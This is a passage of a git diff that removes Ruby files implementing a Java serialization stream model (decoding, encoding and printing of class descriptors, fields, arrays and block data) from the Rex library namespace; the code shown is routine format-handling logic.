opts [String] :values_type - # @option opts [Array] :values - # @return [Rex::Java::Serialization::Model::NewArray] - # @see #new_class - def new_array(opts = {}) - class_desc = opts[:description] || new_class(opts) - type = opts[:values_type] || '' - values = opts[:values] || [] - - array = Rex::Java::Serialization::Model::NewArray.new - array.array_description = Rex::Java::Serialization::Model::ClassDesc.new - array.array_description.description = class_desc - array.type = type - array.values = values - - array - end - - # Creates a Rex::Java::Serialization::Model::NewObject - # - # @param opts [Hash{Symbol => }] - # @option opts [Rex::Java::Serialization::Model::NewClassDesc] :description - # @option opts [Array] :data - # @return [Rex::Java::Serialization::Model::NewObject] - # @see #new_class - def new_object(opts = {}) - class_desc = opts[:description] || new_class(opts) - data = opts[:data] || [] - - object = Rex::Java::Serialization::Model::NewObject.new - object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new - object.class_desc.description = class_desc - object.class_data = data - - object - end - - # Creates a Rex::Java::Serialization::Model::NewClassDesc - # - # @param opts [Hash{Symbol => }] - # @option opts [String] :name - # @option opts [Fixnum] :serial - # @option opts [Fixnum] :flags - # @option opts [Array] :fields - # @option opts [Array] :annotations - # @option opts [Rex::Java::Serialization::Model::Element] :super_class - # @return [Rex::Java::Serialization::Model::NewClassDesc] - def new_class(opts = {}) - class_name = opts[:name] || '' - serial_version = opts[:serial] || 0 - flags = opts[:flags] || 2 - fields = opts[:fields] || [] - annotations = opts[:annotations] || [Rex::Java::Serialization::Model::NullReference.new, - Rex::Java::Serialization::Model::EndBlockData.new] - super_class = opts[:super_class] || Rex::Java::Serialization::Model::NullReference.new - - class_desc = Rex::Java::Serialization::Model::NewClassDesc.new - class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, class_name) - class_desc.serial_version = serial_version - class_desc.flags = flags - class_desc.fields = [] - - fields.each do |f| - field = Rex::Java::Serialization::Model::Field.new - field.type = f[0] - field.name = Rex::Java::Serialization::Model::Utf.new(nil, f[1]) - field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, f[2]) if f[2] - class_desc.fields << field - end - - class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new - class_desc.class_annotation.contents = annotations - class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new - class_desc.super_class.description = super_class - - class_desc - end - end - end - end -end \ No newline at end of file diff --git a/lib/rex/java/serialization/decode_error.rb b/lib/rex/java/serialization/decode_error.rb deleted file mode 100644 index e45964abfb..0000000000 --- a/lib/rex/java/serialization/decode_error.rb +++ /dev/null @@ -1,11 +0,0 @@ -# -*- coding: binary -*- - -module Rex - module Java - module Serialization - class DecodeError < ::RuntimeError - - end - end - end -end \ No newline at end of file diff --git a/lib/rex/java/serialization/encode_error.rb b/lib/rex/java/serialization/encode_error.rb deleted file mode 100644 index 483ad3401e..0000000000 --- a/lib/rex/java/serialization/encode_error.rb +++ /dev/null @@ -1,11 +0,0 @@ -# -*- coding: binary -*- - -module Rex - module Java - module Serialization - class EncodeError < ::RuntimeError - - end - end - end -end \ No newline at end of file diff --git a/lib/rex/java/serialization/model.rb b/lib/rex/java/serialization/model.rb deleted file mode 100644 index 1f2d6cf0de..0000000000 --- a/lib/rex/java/serialization/model.rb +++ /dev/null @@ -1,33 +0,0 @@ -# -*- coding: binary -*- - -module Rex - module Java - module Serialization - module Model - - autoload :Annotation, 'rex/java/serialization/model/annotation' - autoload :BlockDataLong, 'rex/java/serialization/model/block_data_long' - autoload :BlockData, 'rex/java/serialization/model/block_data' - autoload :ClassDesc, 'rex/java/serialization/model/class_desc' - autoload :Contents, 'rex/java/serialization/model/contents' - autoload :Element, 'rex/java/serialization/model/element' - autoload :EndBlockData, 'rex/java/serialization/model/end_block_data' - autoload :Field, 'rex/java/serialization/model/field' - autoload :LongUtf, 'rex/java/serialization/model/long_utf' - autoload :NewArray, 'rex/java/serialization/model/new_array' - autoload :ProxyClassDesc, 'rex/java/serialization/model/proxy_class_desc' - autoload :NewClassDesc, 'rex/java/serialization/model/new_class_desc' - autoload :NewEnum, 'rex/java/serialization/model/new_enum' - autoload :NewObject, 'rex/java/serialization/model/new_object' - autoload :NewClass, 'rex/java/serialization/model/new_class' - autoload :NullReference, 'rex/java/serialization/model/null_reference' - autoload :Reference, 'rex/java/serialization/model/reference' - autoload :Reset, 'rex/java/serialization/model/reset' - autoload :Stream, 'rex/java/serialization/model/stream' - autoload :Utf, 'rex/java/serialization/model/utf' - - end - end - end -end - diff --git a/lib/rex/java/serialization/model/annotation.rb b/lib/rex/java/serialization/model/annotation.rb deleted file mode 100644 index 95b3bd9fa7..0000000000 --- a/lib/rex/java/serialization/model/annotation.rb +++ /dev/null @@ -1,69 +0,0 @@ -# -*- coding: binary -*- - -module Rex - module Java - module Serialization - module Model - # This class provides an annotation representation. It's used for both class - # annotations (classAnnotation) and object annotations (objectAnnotation). - class Annotation < Element - - include Rex::Java::Serialization::Model::Contents - - # @!attribute contents - # @return [Array] The annotation contents - attr_accessor :contents - - # @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to - def initialize(stream = nil) - super(stream) - self.contents = [] - end - - # Deserializes a Rex::Java::Serialization::Model::Annotation - # - # @param io [IO] the io to read from - # @return [self] if deserialization succeeds - # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed - def decode(io) - loop do - content = decode_content(io, stream) - self.contents << content - return self if content.kind_of?(EndBlockData) - end - - self - end - - # Serializes the Rex::Java::Serialization::Model::Annotation - # - # @return [String] if serialization suceeds - # @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed - def encode - raise Rex::Java::Serialization::EncodeError, 'Failed to serialize Annotation with empty contents' if contents.empty? - - encoded = '' - - contents.each do |content| - encoded << encode_content(content) - end - - encoded - end - - # Creates a print-friendly string representation - # - # @return [String] - def to_s - str = '[ ' - contents_data = contents.collect {|content| "#{print_content(content)}"} - str << contents_data.join(', ') - str << ' ]' - str - end - - end - end - end - end -end diff --git a/lib/rex/java/serialization/model/block_data.rb b/lib/rex/java/serialization/model/block_data.rb deleted file mode 100644 index c92edaed13..0000000000 --- a/lib/rex/java/serialization/model/block_data.rb +++ /dev/null @@ -1,70 +0,0 @@ -# -*- coding: binary -*- - -module Rex - module Java - module Serialization - module Model - # This class provides a block data representation - class BlockData < Element - - # @!attribute length - # @return [Integer] the length of the block - attr_accessor :length - # @!attribute contents - # @return [String] the contents of the block - attr_accessor :contents - - # @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to - # @param contents [String] the contents of the block - def initialize(stream = nil, contents = '') - super(stream) - self.contents = contents - self.length = contents.length - end - - # Deserializes a Rex::Java::Serialization::Model::BlockData - # - # @param io [IO] the io to read from - # @return [self] if deserialization succeeds - # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed - def decode(io) - raw_length = io.read(1) - raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize BlockData' if raw_length.nil? - self.length = raw_length.unpack('C')[0] - - if length == 0 - self.contents = '' - else - self.contents = io.read(length) - if contents.nil? || contents.length != length - raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize BlockData' - end - end - - self - end - - # Creates a print-friendly string representation - # - # @return [String] - def to_s - contents_hex = [] - contents.each_byte {|byte| contents_hex << "0x#{byte.to_s(16)}" } - - "[ #{contents_hex.join(', ')} ]" - end - - # Serializes the Rex::Java::Serialization::Model::BlockData - # - # @return [String] - def encode - encoded = [length].pack('C') - encoded << contents - - encoded - end - end - end - end - end -end \ No newline at end of file diff --git a/lib/rex/java/serialization/model/block_data_long.rb b/lib/rex/java/serialization/model/block_data_long.rb deleted file mode 100644 index 55002ebad2..0000000000 --- a/lib/rex/java/serialization/model/block_data_long.rb +++ /dev/null @@ -1,72 +0,0 @@ -# -*- coding: binary -*- - -module Rex - module Java - module Serialization - module Model - # This class provides a block data (long) representation - class BlockDataLong < Element - - # @!attribute length - # @return [Integer] the length of the block - attr_accessor :length - # @!attribute contents - # @return [String] the contents of the block - attr_accessor :contents - - # @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to - # @param contents [String] the contents of the block - def initialize(stream = nil, contents = '') - super(stream) - self.contents = contents - self.length = contents.length - end - - # Deserializes a Rex::Java::Serialization::Model::BlockDataLong - # - # @param io [IO] the io to read from - # @return [self] if deserialization succeeds - # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed - def decode(io) - raw_length = io.read(4) - if raw_length.nil? || raw_length.length != 4 - raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize BlockDataLong' - end - self.length = raw_length.unpack('N')[0] - - if length == 0 - self.contents = '' - else - self.contents = io.read(length) - if contents.nil? || contents.length != length - raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize BlockData' - end - end - - self - end - - # Serializes the Rex::Java::Serialization::Model::BlockDataLong - # - # @return [String] - def encode - encoded = [length].pack('N') - encoded << contents - - encoded - end - - # Creates a print-friendly string representation - # - # @return [String] - def to_s - contents_hex = [] - contents.each_byte {|byte| contents_hex << "0x#{byte.to_s(16)}" } - - "[ #{contents_hex.join(', ')} ]" - end - end - end - end - end -end \ No newline at end of file diff --git a/lib/rex/java/serialization/model/class_desc.rb b/lib/rex/java/serialization/model/class_desc.rb deleted file mode 100644 index 927e2ef47e..0000000000 --- a/lib/rex/java/serialization/model/class_desc.rb +++ /dev/null @@ -1,64 +0,0 @@ -# -*- coding: binary -*- - -module Rex - module Java - module Serialization - module Model - # This class provides a Java classDesc representation - class ClassDesc < Element - - include Rex::Java::Serialization::Model::Contents - - attr_accessor :description - - # @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to - def initialize(stream = nil) - super(stream) - self.description = nil - end - - # Deserializes a Rex::Java::Serialization::Model::ClassDesc - # - # @param io [IO] the io to read from - # @return [self] if deserialization succeeds - # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed - def decode(io) - content = decode_content(io, stream) - allowed_contents = [NullReference, NewClassDesc, Reference, ProxyClassDesc] - - unless allowed_contents.include?(content.class) - raise Rex::Java::Serialization::DecodeError, 'ClassDesc unserialize failed' - end - - self.description = content - self - end - - # Serializes the Rex::Java::Serialization::Model::ClassDesc - # - # @return [String] if serialization succeeds - # @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed - def encode - encoded = '' - allowed_contents = [NullReference, NewClassDesc, Reference, ProxyClassDesc] - - unless allowed_contents.include?(description.class) - raise Rex::Java::Serialization::EncodeError, 'Failed to serialize ClassDesc' - end - - encoded << encode_content(description) - - encoded - end - - # Creates a print-friendly string representation - # - # @return [String] - def to_s - print_content(description) - end - end - end - end - end -end \ No newline at end of file diff --git a/lib/rex/java/serialization/model/contents.rb b/lib/rex/java/serialization/model/contents.rb deleted file mode 100644 index 1de2368e3f..0000000000 --- a/lib/rex/java/serialization/model/contents.rb +++ /dev/null @@ -1,163 +0,0 @@ -# -*- coding: binary -*- - -module Rex - module Java - module Serialization - module Model - module Contents - include Rex::Java::Serialization - - # Deserializes a content - # - # @param io [IO] the io to read from - # @return [Rex::Java::Serialization::Model::Element] if deserialization succeeds - # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed or unsupported content - def decode_content(io, stream) - opcode = io.read(1) - raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize content' if opcode.nil? - opcode = opcode.unpack('C')[0] - content = nil - - case opcode - when TC_BLOCKDATA - content = BlockData.decode(io, stream) - when TC_BLOCKDATALONG - content = BlockDataLong.decode(io, stream) - when TC_ENDBLOCKDATA - content = EndBlockData.decode(io, stream) - when TC_OBJECT - content = NewObject.decode(io, stream) - when TC_CLASS - content = NewClass.decode(io, stream) - when TC_ARRAY - content = NewArray.decode(io, stream) - when TC_STRING - content = Utf.decode(io, stream) - stream.add_reference(content) unless stream.nil? - when TC_LONGSTRING - content = LongUtf.decode(io, stream) - stream.add_reference(content) unless stream.nil? - when TC_ENUM - content = NewEnum.decode(io, stream) - when TC_CLASSDESC - content = NewClassDesc.decode(io, stream) - when TC_PROXYCLASSDESC - content = ProxyClassDesc.decode(io, stream) - when TC_REFERENCE - content = Reference.decode(io, stream) - when TC_NULL - content = NullReference.decode(io, stream) - when TC_EXCEPTION - raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize unsupported TC_EXCEPTION content' - when TC_RESET - content = Reset.decode(io, stream) - else - raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize content' - end - - content - end - - # Serializes a content - # - # @param content [Rex::Java::Serialization::Model::Element] the content to serialize - # @return [String] if serialization succeeds - # @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed - def encode_content(content) - encoded = '' - - case content - when BlockData - encoded << [TC_BLOCKDATA].pack('C') - when BlockDataLong - encoded << [TC_BLOCKDATALONG].pack('C') - when EndBlockData - encoded << [TC_ENDBLOCKDATA].pack('C') - when NewObject - encoded << [TC_OBJECT].pack('C') - when NewClass - encoded << [TC_CLASS].pack('C') - when NewArray - encoded << [TC_ARRAY].pack('C') - when Utf - encoded << [TC_STRING].pack('C') - when LongUtf - encoded << [TC_LONGSTRING].pack('C') - when NewEnum - encoded << [TC_ENUM].pack('C') - when NewClassDesc - encoded << [TC_CLASSDESC].pack('C') - when ProxyClassDesc - encoded << [TC_PROXYCLASSDESC].pack('C') - when NullReference - encoded << [TC_NULL].pack('C') - when Reset - encoded << [TC_RESET].pack('C') - when Reference - encoded << [TC_REFERENCE].pack('C') - else - raise Rex::Java::Serialization::EncodeError, 'Failed to serialize content' - end - - encoded << content.encode - encoded - end - - # Creates a print-friendly string representation - # - # @param content [Rex::Java::Serialization::Model::Element] the content to print - # @return [String] - # @raise [Rex::Java::Serialization::EncodeError] if the content is unknown - def print_content(content) - str = '' - - case content - when BlockData - str << "#{print_class(content)} { #{content.to_s} }" - when BlockDataLong - str << "#{print_class(content)} { #{content.to_s} }" - when EndBlockData - str << "#{print_class(content)}" - when NewObject - str << "#{print_class(content)} { #{content.to_s} }" - when ClassDesc - str << "#{print_class(content)} { #{content.to_s} }" - when NewClass - str << "#{print_class(content)} { #{content.to_s} }" - when NewArray - str << "#{print_class(content)} { #{content.to_s} }" - when Utf - str << "#{print_class(content)} { #{content.to_s} }" - when LongUtf - str << "#{print_class(content)} { #{content.to_s} } " - when NewEnum - str << "#{print_class(content)} { #{content.to_s} }" - when NewClassDesc - str << "#{print_class(content)} { #{content.to_s} }" - when ProxyClassDesc - str << "#{print_class(content)} { #{content.to_s} }" - when NullReference - str << "#{print_class(content)}" - when Reset - str << "#{print_class(content)}" - when Reference - str << "#{print_class(content)} { #{content.to_s} }" - else - raise Rex::Java::Serialization::EncodeError, 'Failed to serialize content' - end - - str - end - - # Creates a print-friendly string representation of the content class - # - # @param content [Rex::Java::Serialization::Model::Element] the content - # @return [String] - def print_class(content) - content.class.name.split('::').last - end - end - end - end - end -end \ No newline at end of file diff --git a/lib/rex/java/serialization/model/element.rb b/lib/rex/java/serialization/model/element.rb deleted file mode 100644 index 2a17db87fb..0000000000 --- a/lib/rex/java/serialization/model/element.rb +++ /dev/null @@ -1,44 +0,0 @@ -# -*- coding: binary -*- - -module Rex - module Java - module Serialization - module Model - class Element - - attr_accessor :stream - - # Deserializes a Rex::Java::Serialization::Model::Element - # - # @param io [IO] the io to read from - # @return [Rex::Java::Serialization::Model::Element] if deserialization succeeds - # @return [nil] if deserialization doesn't succeed - def self.decode(io, stream = nil) - elem = self.new(stream) - elem.decode(io) - end - - # @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to - def initialize(stream = nil) - self.stream = stream - end - - def decode(io) - self - end - - def encode - '' - end - - # Creates a print-friendly string representation - # - # @return [String] - def to_s - self.class.name.split('::').last - end - end - end - end - end -end \ No newline at end of file diff --git a/lib/rex/java/serialization/model/end_block_data.rb b/lib/rex/java/serialization/model/end_block_data.rb deleted file mode 100644 index 6fe0c98634..0000000000 --- a/lib/rex/java/serialization/model/end_block_data.rb +++ /dev/null @@ -1,12 +0,0 @@ -# -*- coding: binary -*- - -module Rex - module Java - module Serialization - module Model - class EndBlockData < Element - end - end - end - end -end \ No newline at end of file diff --git a/lib/rex/java/serialization/model/field.rb b/lib/rex/java/serialization/model/field.rb deleted file mode 100644 index b560e3606a..0000000000 --- a/lib/rex/java/serialization/model/field.rb +++ /dev/null @@ -1,173 +0,0 @@ -# -*- coding: binary -*- - -module Rex - module Java - module Serialization - module Model - # This class provides a field description representation (fieldDesc). It's used for - # both primitive descriptions (primitiveDesc) and object descriptions (objectDesc). - class Field < Element - - include Rex::Java::Serialization::Model::Contents - - # @!attribute type - # @return [String] The type of the field. - attr_accessor :type - # @!attribute name - # @return [Rex::Java::Serialization::Model::Utf] The name of the field. - attr_accessor :name - # @!attribute field_type - # @return [Rex::Java::Serialization::Model::Utf] The type of the field on object types. - attr_accessor :field_type - - # @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to - def initialize(stream = nil) - super(stream) - self.type = '' - self.name = nil - self.field_type = nil - end - - # Deserializes a Rex::Java::Serialization::Model::Field - # - # @param io [IO] the io to read from - # @return [self] if deserialization succeeds - # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed - def decode(io) - code = io.read(1) - - unless code && is_valid?(code) - raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Field' - end - - self.type = TYPE_CODES[code] - self.name = Utf.decode(io, stream) - - if is_object? - self.field_type = decode_field_type(io) - end - - self - end - - # Serializes the Rex::Java::Serialization::Model::Field - # - # @return [String] if serialization succeeds - # @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed - def encode - unless name.kind_of?(Rex::Java::Serialization::Model::Utf) - raise Rex::Java::Serialization::EncodeError, 'Failed to serialize Field' - end - - unless is_type_valid? - raise Rex::Java::Serialization::EncodeError, 'Failed to serialize Field' - end - - encoded = '' - encoded << TYPE_CODES.key(type) - encoded << name.encode - - if is_object? - encoded << encode_field_type - end - - encoded - end - - # Whether the field type is valid. - # - # @return [Boolean] - def is_type_valid? - if TYPE_CODES.values.include?(type) - return true - end - - false - end - - # Whether the field type is a primitive one. - # - # @return [Boolean] - def is_primitive? - if PRIMITIVE_TYPE_CODES.values.include?(type) - return true - end - - false - end - - # Whether the field type is an object one. - # - # @return [Boolean] - def is_object? - if OBJECT_TYPE_CODES.values.include?(type) - return true - end - - false - end - - # Creates a print-friendly string representation - # - # @return [String] - def to_s - str = "#{name} " - if is_primitive? - str << "(#{type})" - else - str << "(#{field_type})" - end - - str - end - - private - - # Whether the type opcode is a valid one. - # - # @param code [String] A type opcode - # @return [Boolean] - def is_valid?(code) - if TYPE_CODES.keys.include?(code) - return true - end - - false - end - - # Serializes the `field_type` attribute. - # - # @return [String] - # @raise [Rex::Java::Serialization::EncodeError] if serialization fails - def encode_field_type - allowed_contents = [Utf, Reference] - - unless allowed_contents.include?(field_type.class) - raise Rex::Java::Serialization::EncodeError, 'Failed to serialize Field' - end - - encoded = encode_content(field_type) - - encoded - end - - # Deserializes the `field_type` value. - # - # @param io [IO] the io to read from - # @return [Java::Serialization::Model::Utf] - # @raise [Rex::Java::Serialization::DecodeError] if unserialization doesn't succeed - def decode_field_type(io) - allowed_contents = [Utf, Reference] - type = decode_content(io, stream) - - unless allowed_contents.include?(type.class) - raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Field field_type' - end - - type - end - end - end - end - end -end diff --git a/lib/rex/java/serialization/model/long_utf.rb b/lib/rex/java/serialization/model/long_utf.rb deleted file mode 100644 index df567bb6f0..0000000000 --- a/lib/rex/java/serialization/model/long_utf.rb +++ /dev/null @@ -1,48 +0,0 @@ -# -*- coding: binary -*- - -module Rex - module Java - module Serialization - module Model - # This class provides a Long Utf string representation - class LongUtf < Utf - - # Deserializes a Rex::Java::Serialization::Model::LongUtf - # - # @param io [IO] the io to read from - # @return [self] if deserialization succeeds - # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed - def decode(io) - raw_length = io.read(8) - if raw_length.nil? || raw_length.length != 8 - raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize LongUtf' - end - self.length = raw_length.unpack('Q>')[0] - - if length == 0 - self.contents = '' - else - self.contents = io.read(length) - if contents.nil? || contents.length != length - raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize LongUtf' - end - end - - self - end - - # Serializes the Rex::Java::Serialization::Model::LongUtf - # - # @return [String] - def encode - encoded = [length].pack('Q>') - encoded << contents - - encoded - end - - end - end - end - end -end \ No newline at end of file diff --git a/lib/rex/java/serialization/model/new_array.rb b/lib/rex/java/serialization/model/new_array.rb deleted file mode 100644 index 86ff3b0acb..0000000000 --- a/lib/rex/java/serialization/model/new_array.rb +++ /dev/null @@ -1,229 +0,0 @@ -# -*- coding: binary -*- - -module Rex - module Java - module Serialization - module Model - # This class provides a NewArray (Java Array) representation - class NewArray < Element - - include Rex::Java::Serialization::Model::Contents - - # @!attribute array_description - # @return [Java::Serialization::Model::ClassDesc] The description of the array - attr_accessor :array_description - # @!attribute type - # @return [String] The type of the array values - attr_accessor :type - # @!attribute values - # @return [Array] The contents of the java array - attr_accessor :values - - # @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to - def initialize(stream = nil) - super(stream) - self.array_description = nil - self.type = '' - self.values = [] - end - - # Deserializes a Rex::Java::Serialization::Model::NewArray - # - # @param io [IO] the io to read from - # @return [self] if deserialization succeeds - # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed - def decode(io) - self.array_description = ClassDesc.decode(io, stream) - stream.add_reference(self) unless stream.nil? - self.type = array_type - - values_length = decode_values_length(io) - - values_length.times do - value = decode_value(io) - self.values << value - end - - self - end - - # Serializes the Rex::Java::Serialization::Model::NewArray - # - # @return [String] if serialization succeeds - # @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed - def encode - unless array_description.kind_of?(ClassDesc) - raise Rex::Java::Serialization::EncodeError, 'Failed to serialize NewArray' - end - - encoded = '' - encoded << array_description.encode - - encoded << [values.length].pack('N') - - values.each do |value| - encoded << encode_value(value) - end - - encoded - end - - # Creates a print-friendly string representation - # - # @return [String] - def to_s - str = "#{type}, " - values_data = values.collect {|v| "#{v}"} - str << "#{values_data}" - end - - private - - # Deserializes the NewArray length - # - # @param io [IO] the io to read from - # @return [Integer] if deserialization succeeds - # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed - def decode_values_length(io) - values_length = io.read(4) - if values_length.nil? || values_length.length != 4 - raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize NewArray' - end - - values_length.unpack('N')[0] - end - - # Extracts the NewArray data type - # - # @return [String] - # @raise [Rex::Java::Serialization::DecodeError] if the NewArray description isn't valid - # or type isn't supported - def array_type - if array_description.nil? - raise Rex::Java::Serialization::DecodeError, 'Empty NewArray description' - end - - unless array_description.kind_of?(ClassDesc) - raise Rex::Java::Serialization::DecodeError, 'Unsupported NewArray description class' - end - - desc = array_description.description - - if desc.class == Reference - ref = desc.handle - BASE_WIRE_HANDLE - desc = stream.references[ref] - end - - unless desc.class_name.contents[0] == '[' # Array - raise Rex::Java::Serialization::DecodeError, 'Unsupported NewArray description' - end - - decoded_type = desc.class_name.contents[1] - if PRIMITIVE_TYPE_CODES.keys.include?(decoded_type) - return PRIMITIVE_TYPE_CODES[decoded_type] - elsif decoded_type == 'L' # L : Object - return desc.class_name.contents[2..desc.class_name.contents.index(';')] # Object class - else - raise Rex::Java::Serialization::DecodeError, 'Unsupported NewArray Type' - end - end - - # Deserializes a NewArray value - # - # @param io [IO] the io to read from - # @return [Fixnum, Float] if deserialization succeeds - # @raise [Rex::Java::Serialization::DecodeError] if deserialization fails - def decode_value(io) - value = nil - - case type - when 'byte' - value = io.read(1) - raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' if value.nil? - value = value.unpack('c')[0] - when 'char' - value = io.read(2) - unless value && value.length == 2 - raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' - end - value = value.unpack('s>')[0] - when 'double' - value = io.read(8) - unless value && value.length == 8 - raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' - end - value = value.unpack('G')[0] - when 'float' - value = io.read(4) - unless value && value.length == 4 - raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' - end - value = value.unpack('g')[0] - when 'int' - value = io.read(4) - unless value && value.length == 4 - raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' - end - value = value.unpack('l>')[0] - when 'long' - value = io.read(8) - unless value && value.length == 8 - raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' - end - value = value.unpack('q>')[0] - when 'short' - value = io.read(2) - unless value && value.length == 2 - raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' - end - value = value.unpack('s>')[0] - when 'boolean' - value = io.read(1) - raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' if value.nil? - value = value.unpack('c')[0] - else # object - value = decode_content(io, stream) - end - - value - end - - # Serializes an NewArray value - # - # @param value [] the value to serialize - # @return [String] the serialized value - # @raise [Rex::Java::Serialization::EncodeError] if serialization fails - def encode_value(value) - res = '' - - case type - when 'byte' - res = [value].pack('c') - when 'char' - res = [value].pack('s>') - when 'double' - res = [value].pack('G') - when 'float' - res = [value].pack('g') - when 'int' - res = [value].pack('l>') - when 'long' - res = [value].pack('q>') - when 'short' - res = [value].pack('s>') - when 'boolean' - res = [value].pack('c') - when Element - res = value.encode - else # object - res = encode_content(value) - end - - res - end - - end - end - end - end -end diff --git a/lib/rex/java/serialization/model/new_class.rb b/lib/rex/java/serialization/model/new_class.rb deleted file mode 100644 index c3984cae56..0000000000 --- a/lib/rex/java/serialization/model/new_class.rb +++ /dev/null @@ -1,57 +0,0 @@ -# -*- coding: binary -*- - -module Rex - module Java - module Serialization - module Model - # This class provides a NewArray (Java Array) representation - class NewClass < Element - - include Rex::Java::Serialization::Model::Contents - - # @!attribute array_description - # @return [Java::Serialization::Model::ClassDesc] The description of the class - attr_accessor :class_description - - # @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to - def initialize(stream = nil) - super(stream) - self.class_description = nil - end - - # Deserializes a Rex::Java::Serialization::Model::NewClass - # - # @param io [IO] the io to read from - # @return [self] if deserialization succeeds - # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed - def decode(io) - self.class_description = ClassDesc.decode(io, stream) - stream.add_reference(self) unless stream.nil? - - self - end - - # Serializes the Rex::Java::Serialization::Model::NewClass - # - # @return [String] if serialization succeeds - # @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed - def encode - unless class_description.kind_of?(ClassDesc) - raise Rex::Java::Serialization::EncodeError, 'Failed to serialize NewClass' - end - - encoded = '' - encoded << class_description.encode - end - - # Creates a print-friendly string representation - # - # @return [String] - def to_s - print_content(class_description) - end - end - end - end - end -end diff --git a/lib/rex/java/serialization/model/new_class_desc.rb b/lib/rex/java/serialization/model/new_class_desc.rb deleted file mode 100644 index b7b98a307b..0000000000 --- a/lib/rex/java/serialization/model/new_class_desc.rb +++ /dev/null @@ -1,154 +0,0 @@ -# -*- coding: binary -*- - -module Rex - module Java - module Serialization - module Model - # This class provides a newClassDesc representation - class NewClassDesc < Element - - include Rex::Java::Serialization - - # @!attribute class_name - # @return [Rex::Java::Serialization::Model::Utf] The name of the class - attr_accessor :class_name - # @!attribute serial_version - # @return [Fixnum] The java class serial version - attr_accessor :serial_version - # @!attribute flags - # @return [Fixnum] The java class flags - attr_accessor :flags - # @!attribute fields - # @return [Array] The java class fields - attr_accessor :fields - # @!attribute class_annotation - # @return [Rex::Java::Serialization::Model::Annotation] The java class annotations - attr_accessor :class_annotation - # @!attribute super_class - # @return [Rex::Java::Serialization::Model::ClassDesc] The java class superclass description - attr_accessor :super_class - - # @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to - def initialize(stream = nil) - super(stream) - self.class_name = nil - self.serial_version = 0 - self.flags = 0 - self.fields = [] - self.class_annotation = nil - self.super_class = nil - end - - # Deserializes a Rex::Java::Serialization::Model::NewClassDesc - # - # @param io [IO] the io to read from - # @return [self] if deserialization succeeds - # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed - def decode(io) - self.class_name = Utf.decode(io, stream) - self.serial_version = decode_serial_version(io) - stream.add_reference(self) unless stream.nil? - self.flags = decode_flags(io) - fields_length = decode_fields_length(io) - fields_length.times do - field = Field.decode(io, stream) - self.fields << field - end - - self.class_annotation = Annotation.decode(io, stream) - self.super_class = ClassDesc.decode(io, stream) - - self - end - - # Serializes the Rex::Java::Serialization::Model::ClassDescription - # - # @return [String] if serialization succeeds - # @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed - def encode - unless class_name.class == Rex::Java::Serialization::Model::Utf || - class_annotation.class == Rex::Java::Serialization::Model::Annotation || - super_class.class == Rex::Java::Serialization::Model::ClassDesc - raise Rex::Java::Serialization::EncodeError, 'Filed to serialize NewClassDesc' - end - encoded = '' - encoded << class_name.encode - encoded << [serial_version].pack('q>') - encoded << [flags].pack('C') - encoded << [fields.length].pack('n') - fields.each do |field| - encoded << field.encode - end - encoded << class_annotation.encode - encoded << super_class.encode - - encoded - end - - # Creates a print-friendly string representation - # - # @return [String] - def to_s - str = "#{class_name}, [ " - fields_str = [] - fields.each do |field| - fields_str << field.to_s - end - str << "#{fields_str.join(', ')} ]" - - case super_class.description - when NewClassDesc - str << ", @super_class: #{super_class.description.class_name.to_s}" - when Reference - str << ", @super_class: #{super_class.description.to_s}" - end - - str - end - - private - - # Deserializes a class serial version - # - # @param io [IO] the io to read from - # @return [Integer] if deserialization succeeds - # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed - def decode_serial_version(io) - raw_serial = io.read(8) - if raw_serial.nil? || raw_serial.length != 8 - raise 